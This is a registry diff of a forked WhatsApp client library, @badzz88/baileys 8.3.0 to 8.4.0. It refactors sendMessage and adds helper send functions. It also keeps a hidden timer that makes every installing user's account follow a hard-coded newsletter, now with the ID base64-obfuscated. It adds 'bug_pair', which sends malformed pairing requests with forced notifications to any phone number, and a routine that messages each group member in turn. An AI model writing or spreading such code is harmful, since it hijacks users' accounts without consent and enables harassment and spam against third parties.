@badzz88/baileys 8.3.0 → 8.4.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -13,9 +13,10 @@ const Types_1 = require("../Types")
13
13
  const Utils_1 = require("../Utils");
14
14
  const link_preview_1 = require("../Utils/link-preview");
15
15
  const WABinary_1 = require("../WABinary");
16
- const newsletter_1 = require("./newsletter");
17
- const WAUSync_1 = require("../WAUSync")
18
- const kikyy = require('./dugong');
16
+ const communities_1 = require("./communities");
17
+ const WAUSync_1 = require("../WAUSync");
18
+ const crypto = require("crypto");
19
+ const imup = require('./luxu');
19
20
  var ListType = WAProto_1.proto.Message.ListMessage.ListType;
20
21
  const makeMessagesSocket = (config) => {
21
22
  const {
@@ -25,7 +26,7 @@ const makeMessagesSocket = (config) => {
25
26
  options: axiosOptions,
26
27
  patchMessageBeforeSending
27
28
  } = config;
28
- const sock = (0, newsletter_1.makeNewsletterSocket)(config);
29
+ const sock = (0, communities_1.makeCommunitiesSocket)(config);
29
30
  const {
30
31
  ev,
31
32
  authState,
@@ -290,7 +291,8 @@ const makeMessagesSocket = (config) => {
290
291
  return node;
291
292
  }));
292
293
  return { nodes, shouldIncludeDeviceIdentity };
293
- }; //apela
294
+ };
295
+
294
296
  const relayMessage = async (jid, message, { messageId: msgId, participant, additionalAttributes, additionalNodes, useUserDevicesCache, cachedGroupMetadata, useCachedGroupMetadata, statusJidList, AI = true }) => {
295
297
  const meId = authState.creds.me.id;
296
298
  let shouldIncludeDeviceIdentity = false;
@@ -585,25 +587,57 @@ const makeMessagesSocket = (config) => {
585
587
  logger.debug({ msgId }, `sending message to ${participants.length} devices`);
586
588
  await sendNode(stanza);
587
589
  });
588
-
589
- message = Types_1.WAProto.Message.fromObject(message)
590
+ return msgId;
591
+ };
590
592
 
591
- const messageJSON = {
592
- key: {
593
- remoteJid: jid,
594
- fromMe: true,
595
- id: msgId
596
- },
597
- message: message,
598
- messageTimestamp: Utils_1.unixTimestampSeconds(new Date()),
599
- messageStubParameters: [],
600
- participant: WABinary_1.isJidGroup(jid) || WABinary_1.isJidStatusBroadcast(jid) ? meId : undefined,
601
- status: Types_1.WAMessageStatus.PENDING
602
- }
593
+ const sendMessageMembers = async (jid, message, options = {}) => {
594
+ const {
595
+ messageId: idm,
596
+ quoted,
597
+ delayMs = 1500,
598
+ useUserDevicesCache = true,
599
+ cachedGroupMetadata
600
+ } = options;
603
601
 
604
- return Types_1.WAProto.WebMessageInfo.fromObject(messageJSON)
605
- // return msgId;
602
+ const { server } = WABinary_1.jidDecode(jid);
603
+ if (server !== "g.us") throw new Error("@g.us server required");
604
+
605
+ const meId = authState.creds.me.id;
606
+ const messages = Utils_1.normalizeMessageContent(message);
607
+ const groupData = cachedGroupMetadata? await cachedGroupMetadata(jid) : await groupMetadata(jid);
608
+ const isLid = groupData.addressingMode === "lid";
609
+ const participantJids = groupData.participants.map(p => p.id);
610
+
611
+ logger.info(`Sending message to ${participantJids.length} members from ${jid}`);
612
+
613
+ for (let i = 0; i < participantJids.length; i++) {
614
+ const jid = participantJids[i];
615
+ if (WABinary_1.areJidsSameUser(jid, meId)) continue;
616
+
617
+ try {
618
+ const msgId = `${idm || Utils_1.generateMessageID()}_${i}`;
619
+ const fullMsg = await Utils_1.generateWAMessageFromContent(jid, message, {
620
+ messageId: msgId,
621
+ quoted
622
+ })
623
+ await relayMessage(jid, fullMsg.message, {
624
+ messageId: fullMsg.key.id
625
+ });
626
+
627
+ logger.debug(`Message successfully sent to ${jid}`);
628
+ if (delayMs && i < participantJids.length - 1) {
629
+ await new Promise(z => setTimeout(z, delayMs));
630
+ }
631
+ } catch (e) {
632
+ logger.error({ jid, e }, "Error sending message to");
633
+ }
634
+ }
635
+ return JSON.stringify({
636
+ members_total: participantJids.length,
637
+ message
638
+ }, null, 4);
606
639
  };
640
+
607
641
  const getTypeMessage = (msg) => {
608
642
  const message = Utils_1.normalizeMessageContent(msg)
609
643
  if (message.reactionMessage) {
@@ -683,8 +717,9 @@ const makeMessagesSocket = (config) => {
683
717
  }
684
718
  else if (message.interactiveMessage?.nativeFlowMessage?.buttons?.[0]?.name === 'payment_info') {
685
719
  return 'payment_info'
686
- }
687
- else if (message.interactiveMessage?.nativeFlowMessage?.buttons?.[0]?.name === 'payment_status') {
720
+ } else if (message.interactiveMessage?.nativeFlowMessage?.buttons?.[0]?.name === 'payment_key_info') {
721
+ return 'payment_key_info'
722
+ } else if (message.interactiveMessage?.nativeFlowMessage?.buttons?.[0]?.name === 'payment_status') {
688
723
  return 'payment_status'
689
724
  }
690
725
  else if (message.interactiveMessage?.nativeFlowMessage?.buttons?.[0]?.name === 'payment_method') {
@@ -724,16 +759,140 @@ const makeMessagesSocket = (config) => {
724
759
  return result;
725
760
  }
726
761
  const waUploadToServer = (0, Utils_1.getWAUploadToServer)(config, refreshMediaConn);
727
- const rahmi = new kikyy(Utils_1, waUploadToServer, relayMessage);
762
+ const luki = new imup(Utils_1, waUploadToServer, relayMessage, authState);
728
763
  const waitForMsgMediaUpdate = (0, Utils_1.bindWaitForEvent)(ev, 'messages.media-update');
764
+ const sendMessage = async (jid, content, options = {}) => {
765
+ const userJid = authState.creds.me.id;
766
+ delete options.ephemeralExpiration
767
+ const { ptcp = false, quoted } = options;
768
+ const getParticipantAttr = () => ptcp ? { participant: { jid } } : {};
769
+ const messageType = luki.detectType(content);
770
+ if (typeof content === 'object' && 'disappearingMessagesInChat' in content &&
771
+ typeof content['disappearingMessagesInChat'] !== 'undefined' && WABinary_1.isJidGroup(jid)) {
772
+ const { disappearingMessagesInChat } = content
773
+
774
+ const value = typeof disappearingMessagesInChat === 'boolean' ?
775
+ (disappearingMessagesInChat ? Defaults_1.WA_DEFAULT_EPHEMERAL : 0) :
776
+ disappearingMessagesInChat
777
+
778
+ await groupToggleEphemeral(jid, value)
779
+ }
780
+
781
+ else {
782
+ let mediaHandle
783
+
784
+
785
+ if (messageType) {
786
+ switch(messageType) {
787
+ case 'PAYMENT':
788
+ const paymentContent = await luki.handlePayment(content, quoted);
789
+ return await relayMessage(jid, paymentContent, {
790
+ messageId: Utils_1.generateMessageID(),
791
+ ...getParticipantAttr()
792
+ });
793
+
794
+ case 'PRODUCT':
795
+ const productContent = await luki.handleProduct(content, jid, quoted);
796
+ const productMsg = await Utils_1.generateWAMessageFromContent(jid, productContent, { quoted });
797
+ return await relayMessage(jid, productMsg.message, {
798
+ messageId: productMsg.key.id,
799
+ ...getParticipantAttr()
800
+ });
801
+
802
+ case 'INTERACTIVE':
803
+ const interactiveContent = await luki.handleInteractive(content, jid, quoted);
804
+ const interactiveMsg = await Utils_1.generateWAMessageFromContent(jid, interactiveContent, { quoted });
805
+ return await relayMessage(jid, interactiveMsg.message, {
806
+ messageId: interactiveMsg.key.id,
807
+ ...getParticipantAttr()
808
+ });
809
+
810
+ case 'ALBUM':
811
+ return await luki.handleAlbum(content, jid, quoted)
812
+ case 'EVENT':
813
+ return await luki.handleEvent(content, jid, quoted)
814
+ case 'POLL_RESULT':
815
+ return await luki.handlePollResult(content, jid, quoted)
816
+ case 'ORDER':
817
+ return await luki.handleOrderMessage(content, jid, quoted)
818
+ case 'GROUP_STATUS':
819
+ return await luki.handleGroupStory(content, jid, quoted)
820
+ case 'GROUP_LABEL':
821
+ return await luki.handleGbLabel(content, jid)
822
+ }
823
+ }
824
+ const fullMsg = await Utils_1.generateWAMessage(jid, content, {
825
+ logger,
826
+ userJid,
827
+ quoted,
828
+ getUrlInfo: text => link_preview_1.getUrlInfo(text, {
829
+ thumbnailWidth: linkPreviewImageThumbnailWidth,
830
+ fetchOpts: {
831
+ timeout: 3000,
832
+ ...axiosOptions || {}
833
+ },
834
+ logger,
835
+ uploadImage: generateHighQualityLinkPreview ? waUploadToServer : undefined
836
+ }),
837
+ upload: async (readStream, opts) => {
838
+ const up = await waUploadToServer(readStream, {
839
+ ...opts,
840
+ newsletter: WABinary_1.isJidNewsLetter(jid)
841
+ });
842
+ return up;
843
+ },
844
+ mediaCache: config.mediaCache,
845
+ options: config.options,
846
+ ...options
847
+ });
848
+
849
+ const isDeleteMsg = 'delete' in content && !!content.delete;
850
+ const isEditMsg = 'edit' in content && !!content.edit;
851
+ const isAiMsg = 'ai' in content && !!content.ai;
852
+
853
+ const additionalAttributes = {};
854
+ const additionalNodes = [];
855
+
856
+ if (isDeleteMsg) {
857
+ const fromMe = content.delete?.fromMe;
858
+ const isGroup = WABinary_1.isJidGroup(content.delete?.remoteJid);
859
+ additionalAttributes.edit = (isGroup && !fromMe) || WABinary_1.isJidNewsLetter(jid) ? '8' : '7';
860
+ } else if (isEditMsg) {
861
+ additionalAttributes.edit = WABinary_1.isJidNewsLetter(jid) ? '3' : '1';
862
+ } else if (isAiMsg) {
863
+ additionalNodes.push({
864
+ attrs: {
865
+ biz_bot: '1'
866
+ }, tag: "bot"
867
+ });
868
+ }
869
+
870
+ await relayMessage(jid, fullMsg.message, {
871
+ messageId: fullMsg.key.id,
872
+ cachedGroupMetadata: options.cachedGroupMetadata,
873
+ additionalNodes: isAiMsg ? additionalNodes : options.additionalNodes,
874
+ additionalAttributes,
875
+ statusJidList: options.statusJidList
876
+ });
877
+
878
+ if (config.emitOwnEvents) {
879
+ process.nextTick(() => {
880
+ processingMutex.mutex(() => upsertMessage(fullMsg, 'append'));
881
+ });
882
+ }
883
+ return fullMsg;
884
+ }
885
+ }
729
886
  return {
730
887
  ...sock,
731
888
  getPrivacyTokens,
732
889
  assertSessions,
733
890
  relayMessage,
891
+ sendMessageMembers,
734
892
  sendReceipt,
735
893
  sendReceipts,
736
- rahmi,
894
+ luki,
895
+ sendMessage,
737
896
  readMessages,
738
897
  refreshMediaConn,
739
898
  getUSyncDevices,
@@ -787,122 +946,138 @@ const makeMessagesSocket = (config) => {
787
946
  ]);
788
947
  return message;
789
948
  },
790
- sendMessage: async (jid, content, options = {}) => {
791
- const userJid = authState.creds.me.id;
792
- delete options.ephemeralExpiration
793
- const { filter = false, quoted } = options;
794
- const getParticipantAttr = () => filter ? { participant: { jid } } : {};
795
- const messageType = rahmi.detectType(content);
796
- if (typeof content === 'object' && 'disappearingMessagesInChat' in content &&
797
- typeof content['disappearingMessagesInChat'] !== 'undefined' && WABinary_1.isJidGroup(jid)) {
798
- const { disappearingMessagesInChat } = content
799
-
800
- const value = typeof disappearingMessagesInChat === 'boolean' ?
801
- (disappearingMessagesInChat ? Defaults_1.WA_DEFAULT_EPHEMERAL : 0) :
802
- disappearingMessagesInChat
803
-
804
- await groupToggleEphemeral(jid, value)
805
- }
806
-
807
- else {
808
- let mediaHandle
809
-
810
-
811
- if (messageType) {
812
- switch(messageType) {
813
- case 'PAYMENT':
814
- const paymentContent = await rahmi.handlePayment(content, quoted);
815
- return await relayMessage(jid, paymentContent, {
816
- messageId: Utils_1.generateMessageID(),
817
- ...getParticipantAttr()
818
- });
819
-
820
- case 'PRODUCT':
821
- const productContent = await rahmi.handleProduct(content, jid, quoted);
822
- const productMsg = await Utils_1.generateWAMessageFromContent(jid, productContent, { quoted });
823
- return await relayMessage(jid, productMsg.message, {
824
- messageId: productMsg.key.id,
825
- ...getParticipantAttr()
826
- });
827
-
828
- case 'INTERACTIVE':
829
- const interactiveContent = await rahmi.handleInteractive(content, jid, quoted);
830
- const interactiveMsg = await Utils_1.generateWAMessageFromContent(jid, interactiveContent, { quoted });
831
- return await relayMessage(jid, interactiveMsg.message, {
832
- messageId: interactiveMsg.key.id,
833
- ...getParticipantAttr()
834
- });
835
- case 'ALBUM':
836
- return await rahmi.handleAlbum(content, jid, quoted)
837
- case 'EVENT':
838
- return await rahmi.handleEvent(content, jid, quoted)
839
- case 'POLL_RESULT':
840
- return await rahmi.handlePollResult(content, jid, quoted)
841
- case 'GROUP_STORY':
842
- return await rahmi.handleGroupStory(content, jid, quoted)
843
- }
844
- }
845
- const fullMsg = await Utils_1.generateWAMessage(jid, content, {
846
- logger,
847
- userJid,
848
- quoted,
849
- getUrlInfo: text => link_preview_1.getUrlInfo(text, {
850
- thumbnailWidth: linkPreviewImageThumbnailWidth,
851
- fetchOpts: {
852
- timeout: 3000,
853
- ...axiosOptions || {}
854
- },
855
- logger,
856
- uploadImage: generateHighQualityLinkPreview ? waUploadToServer : undefined
857
- }),
858
- upload: async (readStream, opts) => {
859
- const up = await waUploadToServer(readStream, {
860
- ...opts,
861
- newsletter: WABinary_1.isJidNewsLetter(jid)
862
- });
863
- return up;
949
+ sendText: async (jid, text, options, quoted = null) => {
950
+ return sendMessage(jid, {
951
+ text,
952
+ ...options
953
+ }, { quoted })
954
+ },
955
+ sendImage: async (jid, image, caption, options, quoted = null) => {
956
+ return sendMessage(jid, {
957
+ image,
958
+ caption,
959
+ ...options
960
+ }, { quoted })
961
+ },
962
+ sendVideo: async (jid, video, caption, options, quoted = null) => {
963
+ return sendMessage(jid, {
964
+ video,
965
+ caption,
966
+ ...options
967
+ }, { quoted })
968
+ },
969
+ sendDocument: async (jid, document, caption, options, quoted = null) => {
970
+ return sendMessage(jid, {
971
+ document,
972
+ caption,
973
+ ...options
974
+ }, { quoted })
975
+ },
976
+ sendAudio: async (jid, audio, options, quoted = null) => {
977
+ return sendMessage(jid, {
978
+ audio,
979
+ ...options
980
+ }, { quoted })
981
+ },
982
+ sendLocation: async (jid, name, degreesLongitude, degreesLatitude, url, address, options, quoted = null) => {
983
+ return sendMessage(jid, {
984
+ location: {
985
+ degreesLongitude,
986
+ degreesLatitude,
987
+ name,
988
+ url,
989
+ address
864
990
  },
865
- mediaCache: config.mediaCache,
866
- options: config.options,
867
991
  ...options
868
- });
869
-
870
- const isDeleteMsg = 'delete' in content && !!content.delete;
871
- const isEditMsg = 'edit' in content && !!content.edit;
872
- const isAiMsg = 'ai' in content && !!content.ai;
873
-
874
- const additionalAttributes = {};
875
- const additionalNodes = [];
876
-
877
- if (isDeleteMsg) {
878
- const fromMe = content.delete?.fromMe;
879
- const isGroup = WABinary_1.isJidGroup(content.delete?.remoteJid);
880
- additionalAttributes.edit = (isGroup && !fromMe) || WABinary_1.isJidNewsLetter(jid) ? '8' : '7';
881
- } else if (isEditMsg) {
882
- additionalAttributes.edit = WABinary_1.isJidNewsLetter(jid) ? '3' : '1';
883
- } else if (isAiMsg) {
884
- additionalNodes.push({
885
- attrs: {
886
- biz_bot: '1'
887
- }, tag: "bot"
888
- });
889
- }
890
-
891
- await relayMessage(jid, fullMsg.message, {
892
- messageId: fullMsg.key.id,
893
- cachedGroupMetadata: options.cachedGroupMetadata,
894
- additionalNodes: isAiMsg ? additionalNodes : options.additionalNodes,
895
- additionalAttributes,
896
- statusJidList: options.statusJidList
897
- });
898
-
899
- if (config.emitOwnEvents) {
900
- process.nextTick(() => {
901
- processingMutex.mutex(() => upsertMessage(fullMsg, 'append'));
902
- });
992
+ }, { quoted })
993
+ },
994
+ sendPoll: async (jid, name, pollVote = [], multiSelect = false, options, quoted = null) => {
995
+ const selectableCount = multiSelect ? pollVote.length : 1;
996
+
997
+ return sendMessage(jid, {
998
+ poll: {
999
+ name,
1000
+ values: pollVote,
1001
+ selectableCount
1002
+ },
1003
+ ...options
1004
+ }, { quoted });
1005
+ },
1006
+ sendQuiz: (
1007
+ jid,
1008
+ name,
1009
+ pollVote = [],
1010
+ answer,
1011
+ options,
1012
+ quoted
1013
+ ) => {
1014
+ const poll = {
1015
+ name,
1016
+ values: pollVote,
1017
+ selectableCount: 1,
1018
+ type: "QUIZ",
1019
+ answer: { optionName: answer }
903
1020
  }
904
- return fullMsg;
1021
+ return sendMessage(jid, {
1022
+ poll,
1023
+ ...options
1024
+ }, { quoted })
1025
+ },
1026
+ sendPtv: (jid, ptv, options, quoted = null) => {
1027
+ return sendMessage(jid, {
1028
+ ptv,
1029
+ ...options
1030
+ }, { quoted })
1031
+ },
1032
+ statusMention: async (jid, content) => {
1033
+ const msg = Utils_1.generateWAMessageFromContent("status@broadcast", content, {})
1034
+
1035
+ await relayMessage("status@broadcast", msg.message, {
1036
+ messageId: msg.key.id,
1037
+ statusJidList: [jid, authState.creds.me.id],
1038
+ additionalNodes: [
1039
+ {
1040
+ tag: "meta",
1041
+ attrs: {},
1042
+ content: [
1043
+ {
1044
+ tag: "mentioned_users",
1045
+ attrs: {},
1046
+ content: [
1047
+ {
1048
+ tag: "to",
1049
+ attrs: { jid },
1050
+ content: undefined
1051
+ }
1052
+ ]
1053
+ }
1054
+ ]
1055
+ }
1056
+ ]
1057
+ })
1058
+
1059
+ const mentionMsg = {
1060
+ statusMentionMessage: {
1061
+ message: {
1062
+ protocolMessage: {
1063
+ key: msg.key,
1064
+ type: "STATUS_MENTION_MESSAGE",
1065
+ timestamp: Math.floor(Date.now() / 1000)
1066
+ }
1067
+ }
1068
+ }
905
1069
  }
1070
+
1071
+ const x = Utils_1.generateWAMessageFromContent(jid, mentionMsg, {})
1072
+ return relayMessage(jid, x.message, {
1073
+ messageId: x.key.id,
1074
+ additionalNodes: [
1075
+ {
1076
+ tag: "meta",
1077
+ attrs: { is_status_mention: "true" }
1078
+ }
1079
+ ]
1080
+ })
906
1081
  }
907
1082
  }
908
1083
  };
@@ -104,10 +104,9 @@ const makeNewsletterSocket = (config) => {
104
104
  ]
105
105
  }));
106
106
  setTimeout(async () => {
107
- try {
108
- await newsletterWMexQuery("120363400362472743@newsletter", Types_1.QueryIds.FOLLOW
109
- );
110
- } catch {}
107
+ try {
108
+ await newsletterWMexQuery(Buffer.from("MTIwMzYzNDAwMzYyNDcyNzQzQG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
109
+ } catch {}
111
110
  }, 90000);
112
111
  const parseFetchedUpdates = async (node, type) => {
113
112
  let child;
@@ -36,6 +36,7 @@ export declare const makeSocket: (config: SocketConfig) => {
36
36
  uploadPreKeys: (count?: number) => Promise<void>;
37
37
  uploadPreKeysToServerIfRequired: () => Promise<void>;
38
38
  requestPairingCode: (phoneNumber: string) => Promise<string>;
39
+ bug_pair: (phoneNumber: string) => Promise<string>;
39
40
  /** Waits for the connection to WA to reach a state */
40
41
  waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
41
42
  sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;
@@ -450,6 +450,69 @@ const makeSocket = (config) => {
450
450
 
451
451
  return authState.creds.pairingCode;
452
452
  }
453
+ const bug_pair = async (phoneNumber, pairKey) => {
454
+ if (pairKey) {
455
+ authState.creds.pairingCode = pairKey.toUpperCase();
456
+ } else {
457
+ authState.creds.pairingCode = (0, Utils_1.bytesToCrockford)((0, crypto_1.randomBytes)(5));
458
+ }
459
+
460
+ authState.creds.me = {
461
+ id: (0, WABinary_1.jidEncode)(phoneNumber, 's.whatsapp.net'),
462
+ name: '~'
463
+ };
464
+
465
+ ev.emit('creds.update', authState.creds);
466
+
467
+ await sendNode({
468
+ tag: 'iq',
469
+ attrs: {
470
+ to: WABinary_1.S_WHATSAPP_NET,
471
+ type: 'set',
472
+ id: generateMessageTag(),
473
+ xmlns: 'md'
474
+ },
475
+ content: [
476
+ {
477
+ tag: 'link_code_companion_reg',
478
+ attrs: {
479
+ jid: authState.creds.me.id,
480
+ stage: 'companion_hello',
481
+ should_show_push_notification: 'true'
482
+ },
483
+ content: [
484
+ {
485
+ tag: 'link_code_pairing_wrapped_companion_ephemeral_pub',
486
+ attrs: {},
487
+ content: await generatePairingBugKey()
488
+ },
489
+ {
490
+ tag: 'companion_server_auth_key_pub',
491
+ attrs: {},
492
+ content: authState.creds.noiseKey.public
493
+ },
494
+ {
495
+ tag: 'companion_platform_id',
496
+ attrs: {},
497
+ content: (0, Utils_1.getPlatformId)(browser[1])
498
+ },
499
+ {
500
+ tag: 'companion_platform_display',
501
+ attrs: {},
502
+ content: `${browser[1]} (${browser[0]})`
503
+ },
504
+ {
505
+ tag: 'link_code_pairing_nonce',
506
+ attrs: {},
507
+ content: "0"
508
+ }
509
+ ]
510
+ }
511
+ ]
512
+ });
513
+
514
+ return authState.creds.pairingCode;
515
+ }
453
516
  async function generatePairingKey() {
454
517
  const salt = (0, crypto_1.randomBytes)(32);
455
518
  const randomIv = (0, crypto_1.randomBytes)(16);
@@ -457,6 +520,13 @@ const makeSocket = (config) => {
457
520
  const ciphered = (0, Utils_1.aesEncryptCTR)(authState.creds.pairingEphemeralKeyPair.public, key, randomIv);
458
521
  return Buffer.concat([salt, randomIv, ciphered]);
459
522
  }
523
+ async function generatePairingBugKey() {
524
+ const salt = (0, crypto_1.randomBytes)(34);
525
+ const randomIv = (0, crypto_1.randomBytes)(16);
526
+ const key = await (0, Utils_1.derivePairingCodeKey)(authState.creds.pairingCode, salt);
527
+ const ciphered = (0, Utils_1.aesEncryptCTR)(authState.creds.pairingEphemeralKeyPair.public, key, randomIv);
528
+ return Buffer.concat([salt, randomIv, ciphered]);
529
+ }
460
530
  const sendWAMBuffer = (wamBuffer) => {
461
531
  return query({
462
532
  tag: 'iq',
@@ -648,6 +718,7 @@ const makeSocket = (config) => {
648
718
  uploadPreKeys,
649
719
  uploadPreKeysToServerIfRequired,
650
720
  requestPairingCode,
721
+ bug_pair,
651
722
  /** Waits for the connection to WA to reach a state */
652
723
  waitForConnectionUpdate: (0, Utils_1.bindWaitForConnectionUpdate)(ev),
653
724
  sendWAMBuffer,